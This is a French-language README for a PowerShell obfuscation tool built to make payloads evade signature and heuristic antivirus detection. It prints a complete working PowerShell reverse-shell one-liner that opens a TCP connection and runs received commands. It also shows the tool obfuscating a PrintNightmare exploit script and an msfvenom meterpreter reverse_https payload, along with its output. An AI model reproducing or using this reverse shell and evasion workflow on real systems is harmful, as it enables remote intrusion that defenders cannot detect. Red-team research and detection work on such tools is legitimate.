
Une approche approfondie de l'obscurcissement des composants individuels d'une charge utile PowerShell, que vous soyez sur Windows ou Kali Linux.
Les techniques d’obfuscation traditionnelles ont tendance à ajouter des couches pour encapsuler du code existant, comme le base64 ou la compression. Ces charges utiles continuent d’avoir un degré de succès variable, mais il est devenu trivial d’extraire la charge utile réelle et certains lanceurs sont souvent détectés, ce qui introduit des points d’étranglement.
L’approche introduite par cet outil est une méthodologie qui permet de cibler et d’obfusquer les composants individuels d’un script avec des variations aléatoires tout en conservant la même logique voulue, sans encapsuler l’intégralité de la charge utile dans une seule couche. En raison de la complexité de la logique d’obfuscation, les charges utiles obtenues seront très difficiles à signer et passeront inaperçues auprès des moteurs heuristiques qui ne sont pas programmés pour émuler la logique héritée.
Bien que ce script puisse obfusquer la plupart des charges utiles avec succès par lui‑même, ce projet servira également de framework stable que j’utiliserai pour produire des fonctions futures qui exploiteront ce framework afin de fournir des charges utiles dédiées obfusquées, comme par exemple un générateur de shells inversés.
J’ai écrit un article pour Offensive Security en préambule aux techniques introduites par cet outil. Avant d’aller plus loin, je vous suggère de le lire d’abord : https://www.offensive-security.com/offsec/powershell-obfuscation/
Dans le cadre de mon travail continu sur l’obfuscation PowerShell, je développe des scripts qui produisent des charges utiles dédiées utilisant ce framework. Ils m’ont fait gagner du temps et j’espère qu’ils vous seront également utiles. Vous les trouverez dans leurs propres dossiers à la racine de ce dépôt.
Comme de nombreux autres langages de programmation, PowerShell peut être décomposé en plusieurs composants qui constituent la logique exécutable. Cela permet de contourner les détections basées sur les signatures avec une relative facilité, en changeant la façon dont nous représentons les composants individuels d’une charge utile sous une forme obscure ou inintelligible.
Gardez à l’esprit que cibler tous les composants dans des charges utiles complexes est très intrusif. Cet outil est conçu pour que vous puissiez cibler les composants à obfusquer de manière contrôlée. J’ai constaté que de nombreuses signatures peuvent être contournées simplement en ciblant les cmdlets, les variables et les commentaires. Lorsque vous l’utilisez sur des charges utiles complexes, comme PrintNightmare, n’oubliez pas que les paramètres/fonctions personnalisés ainsi que les variables seront également modifiés. Assurez‑vous de tester correctement les charges utiles obtenues et d’être conscient de tout paramètre nommé modifié.
Les types de composants tels que les pipes et les variables de pipeline sont introduits ici pour rendre votre charge utile plus obscure et plus difficile à décoder.
Types pris en charge
Chaque composant possède son propre générateur dédié contenant une liste de valeurs possibles, statiques ou générées dynamiquement, qui sont sélectionnées aléatoirement à chaque exécution. S’il y a plusieurs occurrences d’un composant, le générateur itérera chacune d’elles individuellement. Cela ajoute un degré d’aléatoire à chaque exécution de l’outil sur une charge utile donnée, de sorte que chaque itération sera différente. La seule exception concerne les noms de variables.
Si un algorithme lié à un composant spécifique commence à faire déclencher une détection, la conception actuelle permet de modifier facilement la logique de ce générateur sans compromettre l’ensemble du script.
$Picker = 1..6 | Get-Random
Switch ($Picker) {
1 { $NewValue = 'Stay' }
2 { $NewValue = 'Off' }
3 { $NewValue = 'Ronins' }
4 { $NewValue = 'Lawn' }
5 { $NewValue = 'And' }
6 { $NewValue = 'Rocks' }
}
Ce framework et les charges utiles qui en résultent ont été testés sur les systèmes d’exploitation et versions PowerShell suivants. Les shells inversés obtenus ne fonctionneront pas avec PowerShell v2.0.
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done
PS /home/tristram>
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating integers
Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
Generator 2 >> PS >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
Generator 1 >> > >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done
<#
.SYNOPSIS
Transforme les scripts PowerShell en quelque chose d'obscur, peu clair ou inintelligible.
.DESCRIPTION
Là où la plupart des outils d'obfuscation ont tendance à ajouter des couches pour encapsuler du code existant,
comme le base64 ou la compression, ils laissent généralement la charge utile réelle intacte, ce qui introduit des
points d'étranglement. Invoke-PSObfuscation se concentre sur le remplacement des composants existants de votre code,
ou couche 0, par des valeurs alternatives.
.PARAMETER Path
Charge utile PowerShell fournie par l'utilisateur via un fichier plat.
.PARAMETER All
Le commutateur All permet d'engager tous les composants pris en charge pour obfusquer une charge utile donnée.
Cette action est très intrusive et pourrait entraîner la corruption de votre charge utile. Il ne devrait pas y avoir
de problème lors de l'utilisation avec le shell inversé standard. Cependant, il est recommandé de cibler des
composants spécifiques pour les charges utiles plus avancées. Gardez à l'esprit que certains générateurs introduits
dans ce script peuvent même perturber votre environnement ISE, alors assurez‑vous de tester correctement.
.PARAMETER Aliases
Le commutateur Aliases permet de demander à la fonction d'obfusquer les alias.
.PARAMETER Cmdlets
Le commutateur Cmdlets permet de demander à la fonction d'obfusquer les cmdlets.
.PARAMETER Comments
Le commutateur Comments permet de demander à la fonction de supprimer tous les commentaires.
.PARAMETER Integers
Le commutateur Integers permet de demander à la fonction d'obfusquer les entiers.
.PARAMETER Methods
Le commutateur Methods permet de demander à la fonction d'obfusquer les invocations de méthodes.
.PARAMETER NamespaceClasses
Le commutateur NamespaceClasses permet de demander à la fonction d'obfusquer les classes d'espaces de noms.
.PARAMETER Pipes
Le commutateur Pipes permet de demander à la fonction d'obfusquer les pipes.
.PARAMETER PipelineVariables
Le commutateur PipelineVariables permet de demander à la fonction d'obfusquer les variables de pipeline.
.PARAMETER ShowChanges
Le commutateur ShowChanges permet de demander au script d'afficher les valeurs brutes et obfusquées à l'écran.
.PARAMETER Strings
Le commutateur Strings permet de demander à la fonction d'obfusquer les chaînes de prompt.
.PARAMETER Variables
Le commutateur Variables permet de demander à la fonction d'obfusquer les variables.
.EXAMPLE
PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
.EXAMPLE
PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
.OUTPUTS
System.String, System.String
.NOTES
Informations supplémentaires sur la fonction.
#>
| Version PS | OS testé | Invoke-PSObfucation.ps1 | Reverse Shell |
|---|
| 7.1.3 | Kali 2021.2 | Pris en charge | Pris en charge |
| 5.1.19041.1023 | Windows 10 10.0.19042 | Pris en charge | Pris en charge |
| 5.1.21996.1 | Windows 11 10.0.21996 | Pris en charge | Pris en charge |